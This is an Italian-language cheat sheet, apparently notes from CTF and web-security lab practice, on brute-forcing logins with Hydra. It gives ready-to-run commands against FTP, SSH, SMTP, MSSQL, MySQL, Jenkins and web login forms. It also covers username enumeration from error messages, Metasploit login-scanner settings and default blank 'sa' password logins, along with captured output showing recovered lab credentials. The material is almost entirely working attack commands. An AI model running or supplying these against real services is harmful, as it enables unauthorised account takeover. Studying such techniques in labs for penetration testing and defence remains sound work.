Le opzioni che passiamo a Hydra dipendono dal servizio (protocollo) che stiamo attaccando. Ad esempio, se volessimo usare FTP con forza bruta con username user e un elenco di password passlist.txt, useremmo il seguente comando:
hydra -l user -P passlist.txt ftp://10.10.95.108SSH
hydra -l <username> -P <full path to pass> 10.10.95.108 -t 4 ssh
- l specifies the (SSH) username for login
- P indicates a list of passwords
- t sets the number of threads to spawn
Ad esempio, hydra -l root -P passwords.txt 10.10.95.108 -t 4 ssh verrà eseguito con i seguenti argomenti:
Hydra utilizzerà root come nome utente per ssh Proverà le password nel file passwords.txt Ci saranno quattro thread in esecuzione in parallelo come indicato da -t 4
In caso ci restituisse un sacco di errori possiamo utilizzare la flag -f oppure sostituire la F con la R nella sezione errore.
SMTP & SMTPS
#SMTP
hydra -l [email protected] -P wordlist smtp://indirizzoIP
#SMTPS
hydra -l [email protected] -P clinic_rule.txt -s 465 smtps://10.10.219.206
Microsoft SQL Sever
Per effettuare un attacco a dizionario su un server Microsoft SQL ci basta avere l’indirizzo IP e la porta per trovare le credenziali:
hydra -L <userwordlist> -P <passwordwordlist> -s <porta> <indirizzo IP> mssqlSe Hydra da problemi usa Metasploit:
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.0.222
set USER_FILE users.txt
set PASS_FILE rockyou.txt
set THREADS 10
runNelle CTF ogni tanto usano queste credenziali di default:
sqsh -S 192.168.0.222 -U sa -P ""
tsql -H 192.168.0.222 -p 1433 -U sa -P ""Mysql
hydra -l root -P <passwordlist> <indirizzo IP> mysqlGet Web Form
Per fare un attacco a dizionario ad un login GET possiamo utilizzare la seguente sintassi:
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:F=Login Failed!" Post Web Form
Enumerazione utenti
Per prima cosa dobbiamo scoprire quali utenti effettivamente esistono nel database per evitare di fare un attacco ClusteBomb che richiederebbe un sacco di tempo, per farlo possiamo usare Hydra e mettere come wordlist una wordlist di username e come password una password errata, recuperare il messaggio di errore del nome utente non valido ed inserirlo nella stringa di Hydra nel seguente modo:
hydra -L usernames.txt -p una_password_errata 192.168.1.1 http-post-form "/login:username=^USER^&password=^PASS^:F=<stringa di errore>" -vVEsempio
hydra -L user.txt -p panino 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-09 10:48:28
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:101/p:1), ~7 tries per task
[DATA] attacking http-post-forms://0a42008103180979801e3ae100ad003b.web-security-academy.net:443/login:username=^USER^&password=^PASS^:F=Invalid username
[443][http-post-form] host: 0a42008103180979801e3ae100ad003b.web-security-academy.net login: user password: panino
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-09 10:48:51Come puoi notare dall’esempio quando inseriamo il dominio al posto che l’indirizzo IP non dobbiamo mettere https://, ma solo il dominio
Anche in questo caso se restituisce un sacco di falsi positivi prova ad aggiungere la flag -f oppure sostituire la F con la R nella sezione errore.
Nel caso la richiesta fosse di tipo JSON è comunque meglio utilizzare il formato x-www-form-urlencoded nella speranza che venga accettato perchè Hydra non riesce a gestire il formato JSON.
Enumerazione Password
Per enumerare la password possiamo fare la stessa identica cosa fatta per l’enumerazione degli utenti, l’unica differenza sta nel modificare il nome utente con quello trovato e la password con una wordlist e infine modificare il messaggio di errore:
hydra -l <username> -P <password_file> 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=<error_message>"Esempio
hydra -l user -P passwd.txt 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=Incorrect password"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-09 10:50:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~7 tries per task
[DATA] attacking http-post-forms://0a42008103180979801e3ae100ad003b.web-security-academy.net:443/login:username=^USER^&password=^PASS^:F=Incorrect password
[443][http-post-form] host: 0a42008103180979801e3ae100ad003b.web-security-academy.net login: user password: asdfgh
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-09 10:50:32Quando il messaggio di errore è lo stesso
Quando il server non ci da informazioni sugli utenti possiamo utilizzare comunque Hydra mettendo due Wordlist una per gli utenti e una per le password:
hydra -L <username_file> -P <password_file> 0a42008103180979801e3ae100ad003b.web-security-academy.net https-post-form "/login:username=^USER^&password=^PASS^:F=<error_message>"Possiamo usare Hydra anche per forzare brute force i moduli web. Devi sapere che tipo di richiesta sta facendo; i metodi GET o POST sono comunemente usati. Puoi usare la scheda di rete del tuo browser (negli strumenti per sviluppatori) per vedere i tipi di richiesta o visualizzare il codice sorgente.
hydra -l <username> -P <wordlist> 10.10.95.108 http-post-form "/pagina_di_login:username=^USER^&password=^PASS^:F=<tipo di errore>" -V- La pagina di login è solo /, ovvero l’indirizzo IP principale.
- Lo username è il campo del modulo in cui viene inserito lo username
- Lo username specificato sotituirà a ^USER^
- La password è il campo del modulo in cui viene inserita la password
- Le password fornite sostituiranno ^PASS^
- Infine, F=incorrect è una stringa che appare nella risposta del server quando il login fallisce
In caso restituisse un sacco di falsi positivi puoi provare ad aggiungere la flag -f oppure sostituire la F con la R nella sezione errore.
Porta
Quando per esempio si deve fare un brute force ad una pagina di login che però non è presente sulla porta di default 80 si può usare la flag “-s numero-porta” alla fine della stringa, come nel seguente esempio fatto alla porta 8080 di un portale Jenkins:
hydra -l admin -P /opt/utili/wordlists/rockyou.txt 10.10.44.124 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password" -s 8080